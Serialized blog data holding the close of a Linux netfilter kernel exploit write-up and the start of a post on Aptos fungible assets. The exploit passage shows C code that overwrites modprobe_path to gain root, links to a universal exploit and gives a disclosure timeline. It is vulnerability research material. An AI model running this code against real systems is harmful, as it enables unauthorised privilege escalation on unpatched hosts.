modprobe_page;\n",{"type":23,"tag":230,"props":61858,"children":61859},{"class":232,"line":371},[61860],{"type":23,"tag":230,"props":61861,"children":61862},{"style":380},[61863],{"type":29,"value":61864},"        pipebuf->offset = modprobe_off;\n",{"type":23,"tag":230,"props":61866,"children":61867},{"class":232,"line":391},[61868],{"type":23,"tag":230,"props":61869,"children":61870},{"style":380},[61871],{"type":29,"value":61872},"        pipebuf->len = 0;\n",{"type":23,"tag":230,"props":61874,"children":61875},{"class":232,"line":400},[61876],{"type":23,"tag":230,"props":61877,"children":61878},{"style":380},[61879],{"type":29,"value":61880},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":23,"tag":230,"props":61882,"children":61883},{"class":232,"line":444},[61884],{"type":23,"tag":230,"props":61885,"children":61886},{"style":380},[61887],{"type":29,"value":33956},{"type":23,"tag":230,"props":61889,"children":61890},{"class":232,"line":453},[61891],{"type":23,"tag":230,"props":61892,"children":61893},{"style":380},[61894],{"type":29,"value":61895},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":23,"tag":230,"props":61897,"children":61898},{"class":232,"line":462},[61899],{"type":23,"tag":230,"props":61900,"children":61901},{"style":380},[61902],{"type":29,"value":33992},{"type":23,"tag":230,"props":61904,"children":61905},{"class":232,"line":471},[61906,61911,61915,61919,61923,61928,61932,61936],{"type":23,"tag":230,"props":61907,"children":61908},{"style":380},[61909],{"type":29,"value":61910},"                perror(\"",{"type":23,"tag":230,"props":61912,"children":61913},{"style":274},[61914],{"type":29,"value":6069},{"type":23,"tag":230,"props":61916,"children":61917},{"style":268},[61918],{"type":29,"value":6665},{"type":23,"tag":230,"props":61920,"children":61921},{"style":274},[61922],{"type":29,"value":10997},{"type":23,"tag":230,"props":61924,"children":61925},{"style":676},[61926],{"type":29,"value":61927},"write",{"type":23,"tag":230,"props":61929,"children":61930},{"style":274},[61931],{"type":29,"value":302},{"type":23,"tag":230,"props":61933,"children":61934},{"style":676},[61935],{"type":29,"value":43705},{"type":23,"tag":230,"props":61937,"children":61938},{"style":274},[61939],{"type":29,"value":61940},")\");\n",{"type":23,"tag":230,"props":61942,"children":61943},{"class":232,"line":500},[61944,61948],{"type":23,"tag":230,"props":61945,"children":61946},{"style":866},[61947],{"type":29,"value":60734},{"type":23,"tag":230,"props":61949,"children":61950},{"style":274},[61951],{"type":29,"value":511},{"type":23,"tag":230,"props":61953,"children":61954},{"class":232,"line":514},[61955],{"type":23,"tag":230,"props":61956,"children":61957},{"style":274},[61958],{"type":29,"value":60659},{"type":23,"tag":230,"props":61960,"children":61961},{"class":232,"line":897},[61962],{"type":23,"tag":230,"props":61963,"children":61964},{"style":274},[61965],{"type":29,"value":5686},{"type":23,"tag":230,"props":61967,"children":61968},{"class":232,"line":960},[61969],{"type":23,"tag":230,"props":61970,"children":61971},{"emptyLinePlaceholder":18},[61972],{"type":29,"value":459},{"type":23,"tag":230,"props":61974,"children":61975},{"class":232,"line":969},[61976,61980,61984,61988,61992,61996],{"type":23,"tag":230,"props":61977,"children":61978},{"style":294},[61979],{"type":29,"value":56390},{"type":23,"tag":230,"props":61981,"children":61982},{"style":274},[61983],{"type":29,"value":302},{"type":23,"tag":230,"props":61985,"children":61986},{"style":268},[61987],{"type":29,"value":5448},{"type":23,"tag":230,"props":61989,"children":61990},{"style":274},[61991],{"type":29,"value":60545},{"type":23,"tag":230,"props":61993,"children":61994},{"style":5149},[61995],{"type":29,"value":6358},{"type":23,"tag":230,"props":61997,"children":61998},{"style":274},[61999],{"type":29,"value":60554},{"type":23,"tag":230,"props":62001,"children":62002},{"class":232,"line":4526},[62003,62007,62012,62016,62021,62026],{"type":23,"tag":230,"props":62004,"children":62005},{"style":294},[62006],{"type":29,"value":57091},{"type":23,"tag":230,"props":62008,"children":62009},{"style":274},[62010],{"type":29,"value":62011},"(fd_path, ",{"type":23,"tag":230,"props":62013,"children":62014},{"style":256},[62015],{"type":29,"value":57101},{"type":23,"tag":230,"props":62017,"children":62018},{"style":274},[62019],{"type":29,"value":62020},"(fd_path), ",{"type":23,"tag":230,"props":62022,"children":62023},{"style":380},[62024],{"type":29,"value":62025},"\"/proc/%i/fd/%i\"",{"type":23,"tag":230,"props":62027,"children":62028},{"style":274},[62029],{"type":29,"value":62030},", i, modprobe_fd);\n",{"type":23,"tag":230,"props":62032,"children":62033},{"class":232,"line":4534},[62034],{"type":23,"tag":230,"props":62035,"children":62036},{"emptyLinePlaceholder":18},[62037],{"type":29,"value":459},{"type":23,"tag":230,"props":62039,"children":62040},{"class":232,"line":4542},[62041,62046,62051,62055],{"type":23,"tag":230,"props":62042,"children":62043},{"style":294},[62044],{"type":29,"value":62045},"        lseek",{"type":23,"tag":230,"props":62047,"children":62048},{"style":274},[62049],{"type":29,"value":62050},"(modprobe_fd, ",{"type":23,"tag":230,"props":62052,"children":62053},{"style":5149},[62054],{"type":29,"value":6358},{"type":23,"tag":230,"props":62056,"children":62057},{"style":274},[62058],{"type":29,"value":62059},", SEEK_SET);\n",{"type":23,"tag":230,"props":62061,"children":62062},{"class":232,"line":4559},[62063,62068],{"type":23,"tag":230,"props":62064,"children":62065},{"style":294},[62066],{"type":29,"value":62067},"        dprintf",{"type":23,"tag":230,"props":62069,"children":62070},{"style":274},[62071],{"type":29,"value":62072},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":23,"tag":230,"props":62074,"children":62075},{"class":232,"line":4587},[62076],{"type":23,"tag":230,"props":62077,"children":62078},{"emptyLinePlaceholder":18},[62079],{"type":29,"value":459},{"type":23,"tag":230,"props":62081,"children":62082},{"class":232,"line":4595},[62083,62087,62091,62095,62099,62103,62108,62112,62117,62122,62126,62130,62134],{"type":23,"tag":230,"props":62084,"children":62085},{"style":866},[62086],{"type":29,"value":5611},{"type":23,"tag":230,"props":62088,"children":62089},{"style":274},[62090],{"type":29,"value":664},{"type":23,"tag":230,"props":62092,"children":62093},{"style":294},[62094],{"type":29,"value":61927},{"type":23,"tag":230,"props":62096,"children":62097},{"style":274},[62098],{"type":29,"value":302},{"type":23,"tag":230,"props":62100,"children":62101},{"style":262},[62102],{"type":29,"value":60598},{"type":23,"tag":230,"props":62104,"children":62105},{"style":274},[62106],{"type":29,"value":62107},"[pipe_idx][",{"type":23,"tag":230,"props":62109,"children":62110},{"style":5149},[62111],{"type":29,"value":6348},{"type":23,"tag":230,"props":62113,"children":62114},{"style":274},[62115],{"type":29,"value":62116},"], fd_path, ",{"type":23,"tag":230,"props":62118,"children":62119},{"style":5149},[62120],{"type":29,"value":62121},"32",{"type":23,"tag":230,"props":62123,"children":62124},{"style":274},[62125],{"type":29,"value":703},{"type":23,"tag":230,"props":62127,"children":62128},{"style":268},[62129],{"type":29,"value":8143},{"type":23,"tag":230,"props":62131,"children":62132},{"style":5149},[62133],{"type":29,"value":5386},{"type":23,"tag":230,"props":62135,"children":62136},{"style":274},[62137],{"type":29,"value":4516},{"type":23,"tag":230,"props":62139,"children":62140},{"class":232,"line":4619},[62141],{"type":23,"tag":230,"props":62142,"children":62143},{"style":274},[62144],{"type":29,"value":33956},{"type":23,"tag":230,"props":62146,"children":62147},{"class":232,"line":4627},[62148,62152,62156,62160,62164,62169],{"type":23,"tag":230,"props":62149,"children":62150},{"style":294},[62151],{"type":29,"value":59671},{"type":23,"tag":230,"props":62153,"children":62154},{"style":274},[62155],{"type":29,"value":302},{"type":23,"tag":230,"props":62157,"children":62158},{"style":380},[62159],{"type":29,"value":22374},{"type":23,"tag":230,"props":62161,"children":62162},{"style":50145},[62163],{"type":29,"value":50148},{"type":23,"tag":230,"props":62165,"children":62166},{"style":380},[62167],{"type":29,"value":62168},"[-] write(pipe)\"",{"type":23,"tag":230,"props":62170,"children":62171},{"style":274},[62172],{"type":29,"value":753},{"type":23,"tag":230,"props":62174,"children":62175},{"class":232,"line":4659},[62176],{"type":23,"tag":230,"props":62177,"children":62178},{"style":274},[62179],{"type":29,"value":5686},{"type":23,"tag":230,"props":62181,"children":62182},{"class":232,"line":4671},[62183],{"type":23,"tag":230,"props":62184,"children":62185},{"emptyLinePlaceholder":18},[62186],{"type":29,"value":459},{"type":23,"tag":230,"props":62188,"children":62189},{"class":232,"line":4688},[62190,62194,62198,62203],{"type":23,"tag":230,"props":62191,"children":62192},{"style":866},[62193],{"type":29,"value":5611},{"type":23,"tag":230,"props":62195,"children":62196},{"style":274},[62197],{"type":29,"value":664},{"type":23,"tag":230,"props":62199,"children":62200},{"style":294},[62201],{"type":29,"value":62202},"check_modprobe",{"type":23,"tag":230,"props":62204,"children":62205},{"style":274},[62206],{"type":29,"value":62207},"(fd_path))\n",{"type":23,"tag":230,"props":62209,"children":62210},{"class":232,"line":4701},[62211],{"type":23,"tag":230,"props":62212,"children":62213},{"style":274},[62214],{"type":29,"value":33956},{"type":23,"tag":230,"props":62216,"children":62217},{"class":232,"line":4724},[62218,62223,62227,62232],{"type":23,"tag":230,"props":62219,"children":62220},{"style":294},[62221],{"type":29,"value":62222},"            puts",{"type":23,"tag":230,"props":62224,"children":62225},{"style":274},[62226],{"type":29,"value":302},{"type":23,"tag":230,"props":62228,"children":62229},{"style":380},[62230],{"type":29,"value":62231},"\"[-] failed to overwrite modprobe\"",{"type":23,"tag":230,"props":62233,"children":62234},{"style":274},[62235],{"type":29,"value":753},{"type":23,"tag":230,"props":62237,"children":62238},{"class":232,"line":4741},[62239,62243],{"type":23,"tag":230,"props":62240,"children":62241},{"style":866},[62242],{"type":29,"value":5637},{"type":23,"tag":230,"props":62244,"children":62245},{"style":274},[62246],{"type":29,"value":511},{"type":23,"tag":230,"props":62248,"children":62249},{"class":232,"line":4759},[62250],{"type":23,"tag":230,"props":62251,"children":62252},{"style":274},[62253],{"type":29,"value":5686},{"type":23,"tag":230,"props":62255,"children":62256},{"class":232,"line":4768},[62257],{"type":23,"tag":230,"props":62258,"children":62259},{"emptyLinePlaceholder":18},[62260],{"type":29,"value":459},{"type":23,"tag":230,"props":62262,"children":62263},{"class":232,"line":4776},[62264,62268,62272,62277],{"type":23,"tag":230,"props":62265,"children":62266},{"style":866},[62267],{"type":29,"value":5611},{"type":23,"tag":230,"props":62269,"children":62270},{"style":274},[62271],{"type":29,"value":664},{"type":23,"tag":230,"props":62273,"children":62274},{"style":294},[62275],{"type":29,"value":62276},"trigger_modprobe",{"type":23,"tag":230,"props":62278,"children":62279},{"style":274},[62280],{"type":29,"value":62281},"(status_fd))\n",{"type":23,"tag":230,"props":62283,"children":62284},{"class":232,"line":4784},[62285],{"type":23,"tag":230,"props":62286,"children":62287},{"style":274},[62288],{"type":29,"value":33956},{"type":23,"tag":230,"props":62290,"children":62291},{"class":232,"line":4792},[62292,62296,62300,62304,62308,62313],{"type":23,"tag":230,"props":62293,"children":62294},{"style":294},[62295],{"type":29,"value":62222},{"type":23,"tag":230,"props":62297,"children":62298},{"style":274},[62299],{"type":29,"value":302},{"type":23,"tag":230,"props":62301,"children":62302},{"style":380},[62303],{"type":29,"value":22374},{"type":23,"tag":230,"props":62305,"children":62306},{"style":50145},[62307],{"type":29,"value":50148},{"type":23,"tag":230,"props":62309,"children":62310},{"style":380},[62311],{"type":29,"value":62312},"[+] got root\"",{"type":23,"tag":230,"props":62314,"children":62315},{"style":274},[62316],{"type":29,"value":753},{"type":23,"tag":230,"props":62318,"children":62319},{"class":232,"line":4824},[62320,62325],{"type":23,"tag":230,"props":62321,"children":62322},{"style":866},[62323],{"type":29,"value":62324},"            goto",{"type":23,"tag":230,"props":62326,"children":62327},{"style":274},[62328],{"type":29,"value":62329}," out;\n",{"type":23,"tag":230,"props":62331,"children":62332},{"class":232,"line":4832},[62333],{"type":23,"tag":230,"props":62334,"children":62335},{"style":274},[62336],{"type":29,"value":5686},{"type":23,"tag":230,"props":62338,"children":62339},{"class":232,"line":4840},[62340],{"type":23,"tag":230,"props":62341,"children":62342},{"emptyLinePlaceholder":18},[62343],{"type":29,"value":459},{"type":23,"tag":230,"props":62345,"children":62346},{"class":232,"line":4901},[62347,62352,62356,62360,62364,62368,62372,62376,62380,62385,62389],{"type":23,"tag":230,"props":62348,"children":62349},{"style":866},[62350],{"type":29,"value":62351},"        for",{"type":23,"tag":230,"props":62353,"children":62354},{"style":274},[62355],{"type":29,"value":664},{"type":23,"tag":230,"props":62357,"children":62358},{"style":256},[62359],{"type":29,"value":21364},{"type":23,"tag":230,"props":62361,"children":62362},{"style":274},[62363],{"type":29,"value":56317},{"type":23,"tag":230,"props":62365,"children":62366},{"style":268},[62367],{"type":29,"value":863},{"type":23,"tag":230,"props":62369,"children":62370},{"style":5149},[62371],{"type":29,"value":5386},{"type":23,"tag":230,"props":62373,"children":62374},{"style":274},[62375],{"type":29,"value":53006},{"type":23,"tag":230,"props":62377,"children":62378},{"style":268},[62379],{"type":29,"value":8143},{"type":23,"tag":230,"props":62381,"children":62382},{"style":274},[62383],{"type":29,"value":62384}," SKBUF_SPRAY; i",{"type":23,"tag":230,"props":62386,"children":62387},{"style":268},[62388],{"type":29,"value":53042},{"type":23,"tag":230,"props":62390,"children":62391},{"style":274},[62392],{"type":29,"value":4516},{"type":23,"tag":230,"props":62394,"children":62395},{"class":232,"line":4909},[62396],{"type":23,"tag":230,"props":62397,"children":62398},{"style":274},[62399],{"type":29,"value":33956},{"type":23,"tag":230,"props":62401,"children":62402},{"class":232,"line":4938},[62403,62407,62411,62416,62420,62425,62430,62434,62439,62443,62447,62452,62456,62460,62464],{"type":23,"tag":230,"props":62404,"children":62405},{"style":866},[62406],{"type":29,"value":60575},{"type":23,"tag":230,"props":62408,"children":62409},{"style":274},[62410],{"type":29,"value":664},{"type":23,"tag":230,"props":62412,"children":62413},{"style":294},[62414],{"type":29,"value":62415},"read",{"type":23,"tag":230,"props":62417,"children":62418},{"style":274},[62419],{"type":29,"value":302},{"type":23,"tag":230,"props":62421,"children":62422},{"style":262},[62423],{"type":29,"value":62424},"sock",{"type":23,"tag":230,"props":62426,"children":62427},{"style":274},[62428],{"type":29,"value":62429},"[i][",{"type":23,"tag":230,"props":62431,"children":62432},{"style":5149},[62433],{"type":29,"value":6348},{"type":23,"tag":230,"props":62435,"children":62436},{"style":274},[62437],{"type":29,"value":62438},"], leak, ",{"type":23,"tag":230,"props":62440,"children":62441},{"style":5149},[62442],{"type":29,"value":59922},{"type":23,"tag":230,"props":62444,"children":62445},{"style":268},[62446],{"type":29,"value":53028},{"type":23,"tag":230,"props":62448,"children":62449},{"style":5149},[62450],{"type":29,"value":62451}," 320",{"type":23,"tag":230,"props":62453,"children":62454},{"style":274},[62455],{"type":29,"value":703},{"type":23,"tag":230,"props":62457,"children":62458},{"style":268},[62459],{"type":29,"value":8143},{"type":23,"tag":230,"props":62461,"children":62462},{"style":5149},[62463],{"type":29,"value":5386},{"type":23,"tag":230,"props":62465,"children":62466},{"style":274},[62467],{"type":29,"value":4516},{"type":23,"tag":230,"props":62469,"children":62470},{"class":232,"line":4957},[62471],{"type":23,"tag":230,"props":62472,"children":62473},{"style":274},[62474],{"type":29,"value":33992},{"type":23,"tag":230,"props":62476,"children":62477},{"class":232,"line":4973},[62478,62483,62487,62492],{"type":23,"tag":230,"props":62479,"children":62480},{"style":294},[62481],{"type":29,"value":62482},"                perror",{"type":23,"tag":230,"props":62484,"children":62485},{"style":274},[62486],{"type":29,"value":302},{"type":23,"tag":230,"props":62488,"children":62489},{"style":380},[62490],{"type":29,"value":62491},"\"[-] read(socket)\"",{"type":23,"tag":230,"props":62493,"children":62494},{"style":274},[62495],{"type":29,"value":753},{"type":23,"tag":230,"props":62497,"children":62498},{"class":232,"line":4990},[62499,62504,62508,62512],{"type":23,"tag":230,"props":62500,"children":62501},{"style":866},[62502],{"type":29,"value":62503},"                return",{"type":23,"tag":230,"props":62505,"children":62506},{"style":268},[62507],{"type":29,"value":53028},{"type":23,"tag":230,"props":62509,"children":62510},{"style":5149},[62511],{"type":29,"value":6348},{"type":23,"tag":230,"props":62513,"children":62514},{"style":274},[62515],{"type":29,"value":511},{"type":23,"tag":230,"props":62517,"children":62518},{"class":232,"line":5006},[62519],{"type":23,"tag":230,"props":62520,"children":62521},{"style":274},[62522],{"type":29,"value":60659},{"type":23,"tag":230,"props":62524,"children":62525},{"class":232,"line":5019},[62526],{"type":23,"tag":230,"props":62527,"children":62528},{"style":274},[62529],{"type":29,"value":5686},{"type":23,"tag":230,"props":62531,"children":62532},{"class":232,"line":5050},[62533],{"type":23,"tag":230,"props":62534,"children":62535},{"style":274},[62536],{"type":29,"value":1552},{"type":23,"tag":230,"props":62538,"children":62539},{"class":232,"line":5058},[62540,62544,62548,62553],{"type":23,"tag":230,"props":62541,"children":62542},{"style":294},[62543],{"type":29,"value":57280},{"type":23,"tag":230,"props":62545,"children":62546},{"style":274},[62547],{"type":29,"value":302},{"type":23,"tag":230,"props":62549,"children":62550},{"style":380},[62551],{"type":29,"value":62552},"\"[-] fake modprobe failed\"",{"type":23,"tag":230,"props":62554,"children":62555},{"style":274},[62556],{"type":29,"value":753},{"type":23,"tag":230,"props":62558,"children":62559},{"class":232,"line":26228},[62560],{"type":23,"tag":230,"props":62561,"children":62562},{"style":274},[62563],{"type":29,"value":12649},{"type":23,"tag":32,"props":62565,"children":62566},{},[62567,62569,62576],{"type":29,"value":62568},"This trick has already been throughly detailed by ",{"type":23,"tag":181,"props":62570,"children":62573},{"href":62571,"rel":62572},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[185],[62574],{"type":29,"value":62575},"lau",{"type":29,"value":62577},", so we won't go much more into it.",{"type":23,"tag":59,"props":62579,"children":62581},{"id":62580},"universal-exploit-demo",[62582],{"type":29,"value":62583},"Universal exploit demo",{"type":23,"tag":32,"props":62585,"children":62586},{},[62587,62589,62595],{"type":29,"value":62588},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":23,"tag":181,"props":62590,"children":62593},{"href":62591,"rel":62592},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[185],[62594],{"type":29,"value":59189},{"type":29,"value":312},{"type":23,"tag":24,"props":62597,"children":62599},{"id":62598},"disclosure-timeline",[62600],{"type":29,"value":62601},"Disclosure Timeline",{"type":23,"tag":98,"props":62603,"children":62604},{},[62605,62610,62615,62620,62625],{"type":23,"tag":102,"props":62606,"children":62607},{},[62608],{"type":29,"value":62609},"March 21st -- Patch made public",{"type":23,"tag":102,"props":62611,"children":62612},{},[62613],{"type":29,"value":62614},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":23,"tag":102,"props":62616,"children":62617},{},[62618],{"type":29,"value":62619},"March 24th -- Wrote KernelCTF exploit",{"type":23,"tag":102,"props":62621,"children":62622},{},[62623],{"type":29,"value":62624},"March 26th -- Wrote Universal exploit",{"type":23,"tag":102,"props":62626,"children":62627},{},[62628],{"type":29,"value":62629},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":23,"tag":32,"props":62631,"children":62632},{},[62633],{"type":29,"value":62634},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":23,"tag":24,"props":62636,"children":62637},{"id":5163},[62638],{"type":29,"value":5166},{"type":23,"tag":32,"props":62640,"children":62641},{},[62642],{"type":29,"value":62643},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":23,"tag":32,"props":62645,"children":62646},{},[62647],{"type":29,"value":62648},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":23,"tag":5178,"props":62650,"children":62651},{},[62652],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":62654},[62655,62658,62661,62664,62665,62675,62683,62684],{"id":52340,"depth":243,"text":52343,"children":62656},[62657],{"id":52361,"depth":252,"text":52364},{"id":52404,"depth":243,"text":52404,"children":62659},[62660],{"id":52451,"depth":252,"text":52454},{"id":52509,"depth":243,"text":52512,"children":62662},[62663],{"id":53672,"depth":252,"text":53675},{"id":55547,"depth":243,"text":55550},{"id":55949,"depth":243,"text":55952,"children":62666},[62667,62668,62669,62671,62672,62673,62674],{"id":55976,"depth":252,"text":55979},{"id":56858,"depth":252,"text":56861},{"id":57444,"depth":252,"text":62670},"Leaking self pointer of nft_object",{"id":57842,"depth":252,"text":57845},{"id":58356,"depth":252,"text":58359},{"id":58486,"depth":252,"text":58143},{"id":59170,"depth":252,"text":59173},{"id":59193,"depth":243,"text":59196,"children":62676},[62677,62678,62679,62680,62682],{"id":59204,"depth":252,"text":59207},{"id":60062,"depth":252,"text":60065},{"id":60138,"depth":252,"text":60141},{"id":61763,"depth":252,"text":62681},"Overwriting modprobe_path",{"id":62580,"depth":252,"text":62583},{"id":62598,"depth":243,"text":62601},{"id":5163,"depth":243,"text":5166},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":62689,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":62690,"description":62691,"image":62692,"date":62694,"isFeatured":18,"onBlogPage":18,"tags":62695,"body":62696,"_type":5202,"_id":69414,"_source":5204,"_file":69415,"_stem":69416,"_extension":5207},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":62693,"width":7724,"height":7725},"/posts/aptos-guide/title.png","2025-02-10",[8216],{"type":20,"children":62697,"toc":69398},[62698,62711,62716,62725,62731,62759,62832,62872,62906,63067,63086,63167,63207,63235,63252,63257,63265,63270,63276,63297,63377,63410,63418,63431,63436,63820,63825,63830,63836,63841,63853,63957,63995,63998,64016,64324,64329,64341,64347,64373,64394,64399,64578,64598,64604,64624,64636,64641,64647,64659,64722,64749,64773,64994,64997,65016,65126,65183,65319,65346,65352,65378,65622,65650,65952,65985,65999,66025,66058,66365,66377,66654,66668,66985,67004,67010,67042,67082,67183,67203,67323,67340,67414,67426,67514,67535,67541,67546,67551,67568,67589,67960,68019,68024,68475,68480,68516,68522,68534,68556,68582,68789,68803,69058,69070,69097,69248,69267,69297,69301,69312,69317,69330,69394],{"type":23,"tag":32,"props":62699,"children":62700},{},[62701,62703,62709],{"type":29,"value":62702},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":23,"tag":71,"props":62704,"children":62706},{"className":62705},[],[62707],{"type":29,"value":62708},"coin",{"type":29,"value":62710}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":23,"tag":32,"props":62712,"children":62713},{},[62714],{"type":29,"value":62715},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":23,"tag":62717,"props":62718,"children":62719},"important",{},[62720],{"type":23,"tag":32,"props":62721,"children":62722},{},[62723],{"type":29,"value":62724},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":23,"tag":24,"props":62726,"children":62728},{"id":62727},"aptos-coin-standard",[62729],{"type":29,"value":62730},"Aptos Coin standard",{"type":23,"tag":32,"props":62732,"children":62733},{},[62734,62736,62742,62744,62749,62750,62757],{"type":29,"value":62735},"In the beginning, Aptos used ",{"type":23,"tag":71,"props":62737,"children":62739},{"className":62738},[],[62740],{"type":29,"value":62741},"Coin",{"type":29,"value":62743},". It is still in use, although it is now considered \"legacy\". ",{"type":23,"tag":71,"props":62745,"children":62747},{"className":62746},[],[62748],{"type":29,"value":62741},{"type":29,"value":7840},{"type":23,"tag":181,"props":62751,"children":62754},{"href":62752,"rel":62753},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[185],[62755],{"type":29,"value":62756},"defined",{"type":29,"value":62758}," in Aptos as follows:",{"type":23,"tag":220,"props":62760,"children":62762},{"className":5320,"code":62761,"language":5319,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[62763],{"type":23,"tag":71,"props":62764,"children":62765},{"__ignoreMap":7},[62766,62805,62825],{"type":23,"tag":230,"props":62767,"children":62768},{"class":232,"line":233},[62769,62773,62777,62781,62785,62789,62793,62797,62801],{"type":23,"tag":230,"props":62770,"children":62771},{"style":256},[62772],{"type":29,"value":11733},{"type":23,"tag":230,"props":62774,"children":62775},{"style":676},[62776],{"type":29,"value":8138},{"type":23,"tag":230,"props":62778,"children":62779},{"style":274},[62780],{"type":29,"value":8143},{"type":23,"tag":230,"props":62782,"children":62783},{"style":262},[62784],{"type":29,"value":8148},{"type":23,"tag":230,"props":62786,"children":62787},{"style":676},[62788],{"type":29,"value":8153},{"type":23,"tag":230,"props":62790,"children":62791},{"style":274},[62792],{"type":29,"value":8158},{"type":23,"tag":230,"props":62794,"children":62795},{"style":262},[62796],{"type":29,"value":8163},{"type":23,"tag":230,"props":62798,"children":62799},{"style":262},[62800],{"type":29,"value":8168},{"type":23,"tag":230,"props":62802,"children":62803},{"style":274},[62804],{"type":29,"value":277},{"type":23,"tag":230,"props":62806,"children":62807},{"class":232,"line":243},[62808,62813,62817,62821],{"type":23,"tag":230,"props":62809,"children":62810},{"style":262},[62811],{"type":29,"value":62812},"    value",{"type":23,"tag":230,"props":62814,"children":62815},{"style":268},[62816],{"type":29,"value":218},{"type":23,"tag":230,"props":62818,"children":62819},{"style":676},[62820],{"type":29,"value":8197},{"type":23,"tag":230,"props":62822,"children":62823},{"style":274},[62824],{"type":29,"value":388},{"type":23,"tag":230,"props":62826,"children":62827},{"class":232,"line":252},[62828],{"type":23,"tag":230,"props":62829,"children":62830},{"style":274},[62831],{"type":29,"value":975},{"type":23,"tag":32,"props":62833,"children":62834},{},[62835,62837,62842,62844,62850,62851,62857,62859,62864,62866,62871],{"type":29,"value":62836},"Aptos distinguishes coins by their type (",{"type":23,"tag":71,"props":62838,"children":62840},{"className":62839},[],[62841],{"type":29,"value":8920},{"type":29,"value":62843},") at compile time. For example, ",{"type":23,"tag":71,"props":62845,"children":62847},{"className":62846},[],[62848],{"type":29,"value":62849},"Coin\u003COtter>",{"type":29,"value":112},{"type":23,"tag":71,"props":62852,"children":62854},{"className":62853},[],[62855],{"type":29,"value":62856},"Coin\u003CWeasel>",{"type":29,"value":62858}," represent different coins, and you cannot pass a ",{"type":23,"tag":71,"props":62860,"children":62862},{"className":62861},[],[62863],{"type":29,"value":62856},{"type":29,"value":62865}," to a function expecting ",{"type":23,"tag":71,"props":62867,"children":62869},{"className":62868},[],[62870],{"type":29,"value":62849},{"type":29,"value":312},{"type":23,"tag":32,"props":62873,"children":62874},{},[62875,62877,62882,62884,62889,62891,62896,62898,62904],{"type":29,"value":62876},"The type signature reveals why ",{"type":23,"tag":71,"props":62878,"children":62880},{"className":62879},[],[62881],{"type":29,"value":62741},{"type":29,"value":62883}," has become a legacy standard. ",{"type":23,"tag":71,"props":62885,"children":62887},{"className":62886},[],[62888],{"type":29,"value":62741},{"type":29,"value":62890}," has only the ",{"type":23,"tag":71,"props":62892,"children":62894},{"className":62893},[],[62895],{"type":29,"value":8277},{"type":29,"value":62897}," ability and uses a ",{"type":23,"tag":71,"props":62899,"children":62901},{"className":62900},[],[62902],{"type":29,"value":62903},"CoinStore",{"type":29,"value":62905}," wrapper to store the coin and metadata:",{"type":23,"tag":220,"props":62907,"children":62909},{"className":5320,"code":62908,"language":5319,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[62910],{"type":23,"tag":71,"props":62911,"children":62912},{"__ignoreMap":7},[62913,62953,62981,63001,63031,63060],{"type":23,"tag":230,"props":62914,"children":62915},{"class":232,"line":233},[62916,62920,62925,62929,62933,62937,62941,62945,62949],{"type":23,"tag":230,"props":62917,"children":62918},{"style":256},[62919],{"type":29,"value":11733},{"type":23,"tag":230,"props":62921,"children":62922},{"style":676},[62923],{"type":29,"value":62924}," CoinStore",{"type":23,"tag":230,"props":62926,"children":62927},{"style":274},[62928],{"type":29,"value":8143},{"type":23,"tag":230,"props":62930,"children":62931},{"style":262},[62932],{"type":29,"value":8148},{"type":23,"tag":230,"props":62934,"children":62935},{"style":676},[62936],{"type":29,"value":8153},{"type":23,"tag":230,"props":62938,"children":62939},{"style":274},[62940],{"type":29,"value":8158},{"type":23,"tag":230,"props":62942,"children":62943},{"style":262},[62944],{"type":29,"value":8163},{"type":23,"tag":230,"props":62946,"children":62947},{"style":262},[62948],{"type":29,"value":8268},{"type":23,"tag":230,"props":62950,"children":62951},{"style":274},[62952],{"type":29,"value":277},{"type":23,"tag":230,"props":62954,"children":62955},{"class":232,"line":243},[62956,62961,62965,62969,62973,62977],{"type":23,"tag":230,"props":62957,"children":62958},{"style":262},[62959],{"type":29,"value":62960},"    